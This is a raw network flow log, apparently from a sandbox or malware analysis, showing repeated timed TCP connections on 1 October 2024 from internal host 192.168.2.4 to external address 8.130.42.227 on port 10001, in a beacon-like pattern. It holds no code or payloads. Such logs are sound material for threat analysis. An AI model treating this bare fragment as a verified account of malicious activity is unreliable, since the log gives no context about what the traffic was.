Oct 1, 2024 09:20:02.745127916 CEST	10001	49891	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:02.745237112 CEST	10001	49891	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:02.745260000 CEST	49891	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:02.745493889 CEST	49891	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:02.852602959 CEST	49891	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:02.853065968 CEST	49892	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:02.857315063 CEST	10001	49891	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:02.857862949 CEST	10001	49892	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:02.857924938 CEST	49892	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:02.858095884 CEST	49892	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:02.862808943 CEST	10001	49892	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:03.804457903 CEST	10001	49892	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:03.804555893 CEST	10001	49892	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:03.807192087 CEST	49892	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:03.807192087 CEST	49892	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:03.812026024 CEST	10001	49892	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:03.914925098 CEST	49893	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:03.919776917 CEST	10001	49893	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:03.923046112 CEST	49893	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:03.923047066 CEST	49893	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:03.928324938 CEST	10001	49893	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:04.885559082 CEST	10001	49893	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:04.885585070 CEST	10001	49893	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:04.885627031 CEST	49893	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:04.885713100 CEST	49893	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:04.885752916 CEST	49893	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:04.890605927 CEST	10001	49893	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:04.993974924 CEST	49894	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:05.000019073 CEST	10001	49894	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:05.000077009 CEST	49894	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:05.000210047 CEST	49894	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:05.004901886 CEST	10001	49894	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:05.942061901 CEST	10001	49894	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:05.942198038 CEST	10001	49894	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:05.944845915 CEST	49894	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:05.944845915 CEST	49894	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:05.949687004 CEST	10001	49894	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:06.058729887 CEST	49895	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:06.063678026 CEST	10001	49895	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:06.063822985 CEST	49895	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:06.064068079 CEST	49895	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:06.068840981 CEST	10001	49895	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:07.026357889 CEST	10001	49895	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:07.026432037 CEST	49895	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:07.026451111 CEST	10001	49895	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:07.026535988 CEST	49895	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:07.026716948 CEST	49895	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:07.031438112 CEST	10001	49895	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:07.153959990 CEST	49896	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:07.158855915 CEST	10001	49896	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:07.158926964 CEST	49896	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:07.162061930 CEST	49896	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:07.166883945 CEST	10001	49896	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:08.116475105 CEST	10001	49896	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:08.116543055 CEST	49896	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:08.116553068 CEST	10001	49896	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:08.116801023 CEST	49896	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:08.117424011 CEST	49896	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:08.122136116 CEST	10001	49896	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:08.228091955 CEST	49897	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:08.234483957 CEST	10001	49897	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:08.234622955 CEST	49897	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:08.235248089 CEST	49897	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:08.241367102 CEST	10001	49897	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:09.189207077 CEST	10001	49897	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:09.189254999 CEST	10001	49897	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:09.189258099 CEST	49897	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:09.189296961 CEST	49897	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:09.189462900 CEST	49897	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:09.194215059 CEST	10001	49897	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:09.306096077 CEST	49898	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:09.310868979 CEST	10001	49898	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:09.310933113 CEST	49898	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:09.311163902 CEST	49898	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:09.315973997 CEST	10001	49898	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:10.271895885 CEST	10001	49898	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:10.271919966 CEST	10001	49898	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:10.271995068 CEST	49898	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:10.271995068 CEST	49898	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:10.272136927 CEST	49898	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:10.276880980 CEST	10001	49898	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:10.387017965 CEST	49899	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:10.391904116 CEST	10001	49899	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:10.395035028 CEST	49899	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:10.395035028 CEST	49899	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:10.399781942 CEST	10001	49899	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:11.341918945 CEST	10001	49899	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:11.341950893 CEST	10001	49899	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:11.341983080 CEST	49899	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:11.342025042 CEST	49899	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:11.342158079 CEST	49899	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:11.347110033 CEST	10001	49899	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:11.446712017 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:11.451651096 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:11.451711893 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:11.451873064 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:11.456873894 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.189773083 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.189790964 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.189799070 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.189832926 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.189853907 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.189862013 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.189945936 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.190032959 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.190267086 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.190309048 CEST	49900	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.194823980 CEST	10001	49900	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.305838108 CEST	49901	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.311408997 CEST	10001	49901	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:13.311480045 CEST	49901	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.311741114 CEST	49901	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:13.316529989 CEST	10001	49901	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:14.260688066 CEST	10001	49901	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:14.260705948 CEST	10001	49901	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:14.262970924 CEST	49901	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:14.263323069 CEST	49901	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:14.268138885 CEST	10001	49901	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:14.370795012 CEST	49902	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:14.375701904 CEST	10001	49902	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:14.375816107 CEST	49902	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:14.376152992 CEST	49902	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:14.380965948 CEST	10001	49902	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:15.316540956 CEST	10001	49902	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:15.316608906 CEST	49902	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:15.316695929 CEST	10001	49902	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:15.316751957 CEST	49902	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:15.431149960 CEST	49902	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:15.431533098 CEST	49903	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:15.436069012 CEST	10001	49902	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:15.436342955 CEST	10001	49903	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:15.436404943 CEST	49903	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:15.436541080 CEST	49903	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:15.441385984 CEST	10001	49903	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:16.386439085 CEST	10001	49903	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:16.386522055 CEST	10001	49903	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:16.386558056 CEST	49903	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:16.386657953 CEST	49903	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:16.387260914 CEST	49903	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:16.391973019 CEST	10001	49903	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:16.494899988 CEST	49904	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:16.500097036 CEST	10001	49904	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:16.503771067 CEST	49904	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:16.508677959 CEST	49904	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:16.513549089 CEST	10001	49904	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:17.480326891 CEST	10001	49904	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:17.480350971 CEST	10001	49904	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:17.480377913 CEST	49904	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:17.480420113 CEST	49904	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:17.480540991 CEST	49904	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:17.485311985 CEST	10001	49904	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:17.587330103 CEST	49905	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:17.592261076 CEST	10001	49905	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:17.592402935 CEST	49905	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:17.592514038 CEST	49905	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:17.597457886 CEST	10001	49905	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:18.552865982 CEST	10001	49905	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:18.553081036 CEST	10001	49905	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:18.554730892 CEST	49905	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:18.554842949 CEST	49905	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:18.559546947 CEST	10001	49905	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:18.667119980 CEST	49906	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:18.672065020 CEST	10001	49906	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:18.674936056 CEST	49906	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:18.675146103 CEST	49906	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:18.680094957 CEST	10001	49906	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:19.621520042 CEST	10001	49906	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:19.621536970 CEST	10001	49906	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:19.621581078 CEST	49906	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:19.621625900 CEST	49906	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:19.621716022 CEST	49906	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:19.626662016 CEST	10001	49906	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:19.727452040 CEST	49907	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:19.732328892 CEST	10001	49907	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:19.732408047 CEST	49907	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:19.732541084 CEST	49907	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:19.737292051 CEST	10001	49907	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:21.232091904 CEST	10001	49907	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:21.232158899 CEST	49907	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:21.232177973 CEST	10001	49907	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:21.232239962 CEST	49907	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:21.233416080 CEST	49907	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:21.239135981 CEST	10001	49907	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:21.342607975 CEST	49908	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:21.347461939 CEST	10001	49908	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:21.347536087 CEST	49908	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:21.347673893 CEST	49908	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:21.352389097 CEST	10001	49908	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:22.302875996 CEST	10001	49908	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:22.302896023 CEST	10001	49908	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:22.303033113 CEST	49908	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:22.303251982 CEST	49908	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:22.308039904 CEST	10001	49908	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:22.414669037 CEST	49909	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:22.419564962 CEST	10001	49909	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:22.419672012 CEST	49909	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:22.422744036 CEST	49909	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:22.427520990 CEST	10001	49909	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:23.376581907 CEST	10001	49909	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:23.376625061 CEST	10001	49909	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:23.376703978 CEST	49909	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:23.377223969 CEST	49909	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:23.382055044 CEST	10001	49909	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:23.525474072 CEST	49910	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:23.530338049 CEST	10001	49910	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:23.530402899 CEST	49910	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:23.537033081 CEST	49910	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:23.541837931 CEST	10001	49910	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:24.495697021 CEST	10001	49910	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:24.495714903 CEST	10001	49910	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:24.495820999 CEST	49910	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:24.495928049 CEST	49910	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:24.500735998 CEST	10001	49910	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:24.602195024 CEST	49911	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:24.607132912 CEST	10001	49911	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:24.607256889 CEST	49911	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:24.607516050 CEST	49911	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:24.612250090 CEST	10001	49911	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:25.565737963 CEST	10001	49911	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:25.565769911 CEST	10001	49911	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:25.565804958 CEST	49911	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:25.565840960 CEST	49911	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:25.565965891 CEST	49911	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:25.570672989 CEST	10001	49911	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:25.680414915 CEST	49912	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:25.685451984 CEST	10001	49912	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:25.685534954 CEST	49912	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:25.685694933 CEST	49912	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:25.690689087 CEST	10001	49912	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:26.658602953 CEST	10001	49912	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:26.658710957 CEST	10001	49912	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:26.660846949 CEST	49912	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:26.660847902 CEST	49912	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:26.665776014 CEST	10001	49912	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:26.779694080 CEST	49913	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:26.784537077 CEST	10001	49913	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:26.788779974 CEST	49913	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:26.789103985 CEST	49913	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:26.794012070 CEST	10001	49913	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:27.739836931 CEST	10001	49913	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:27.739859104 CEST	10001	49913	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:27.739974022 CEST	49913	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:27.739974022 CEST	49913	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:27.740053892 CEST	49913	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:27.744780064 CEST	10001	49913	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:27.856751919 CEST	49914	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:27.861753941 CEST	10001	49914	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:27.862903118 CEST	49914	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:27.862903118 CEST	49914	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:27.867645025 CEST	10001	49914	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:28.809751987 CEST	10001	49914	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:28.809784889 CEST	10001	49914	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:28.809815884 CEST	49914	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:28.809844017 CEST	49914	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:28.815594912 CEST	49914	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:28.820373058 CEST	10001	49914	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:28.993956089 CEST	49915	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:28.999311924 CEST	10001	49915	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:28.999404907 CEST	49915	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:29.001604080 CEST	49915	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:29.006436110 CEST	10001	49915	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:29.972762108 CEST	10001	49915	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:29.972779036 CEST	10001	49915	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:29.972968102 CEST	49915	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:29.972969055 CEST	49915	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:29.977881908 CEST	10001	49915	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:30.086734056 CEST	49916	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:30.091573000 CEST	10001	49916	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:30.092803955 CEST	49916	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:30.095696926 CEST	49916	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:30.100545883 CEST	10001	49916	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:31.062701941 CEST	10001	49916	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:31.062719107 CEST	10001	49916	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:31.062762976 CEST	49916	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:31.062815905 CEST	49916	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:31.062957048 CEST	49916	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:31.067770958 CEST	10001	49916	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:31.181349039 CEST	49917	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:31.186196089 CEST	10001	49917	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:31.186264992 CEST	49917	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:31.186388969 CEST	49917	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:31.191298008 CEST	10001	49917	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:32.150697947 CEST	10001	49917	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:32.150774956 CEST	10001	49917	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:32.150804996 CEST	49917	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:32.152014017 CEST	49917	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:32.258371115 CEST	49917	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:32.258371115 CEST	49918	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:32.263192892 CEST	10001	49917	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:32.263205051 CEST	10001	49918	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:32.268914938 CEST	49918	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:32.268914938 CEST	49918	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:32.273668051 CEST	10001	49918	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:36.248655081 CEST	10001	49918	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:36.248804092 CEST	49918	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:36.248831987 CEST	10001	49918	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:36.248961926 CEST	49918	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:36.248961926 CEST	49918	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:36.253690958 CEST	10001	49918	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:36.356673956 CEST	49919	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:36.361541986 CEST	10001	49919	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:36.361932993 CEST	49919	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:36.361932993 CEST	49919	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:36.366714001 CEST	10001	49919	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:37.334450960 CEST	10001	49919	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:37.334467888 CEST	10001	49919	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:37.336699963 CEST	49919	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:37.336699963 CEST	49919	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:37.336699963 CEST	49919	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:37.341686964 CEST	10001	49919	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:37.447319984 CEST	49920	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:37.452183008 CEST	10001	49920	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:37.452244997 CEST	49920	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:37.452404022 CEST	49920	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:37.457139969 CEST	10001	49920	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:38.408791065 CEST	10001	49920	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:38.408828974 CEST	10001	49920	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:38.408915997 CEST	49920	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:38.408915997 CEST	49920	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:38.411422014 CEST	49920	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:38.416882038 CEST	10001	49920	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:38.523910046 CEST	49921	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:38.528776884 CEST	10001	49921	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:38.532877922 CEST	49921	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:38.532877922 CEST	49921	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:38.537662029 CEST	10001	49921	8.130.42.227	192.168.2.4
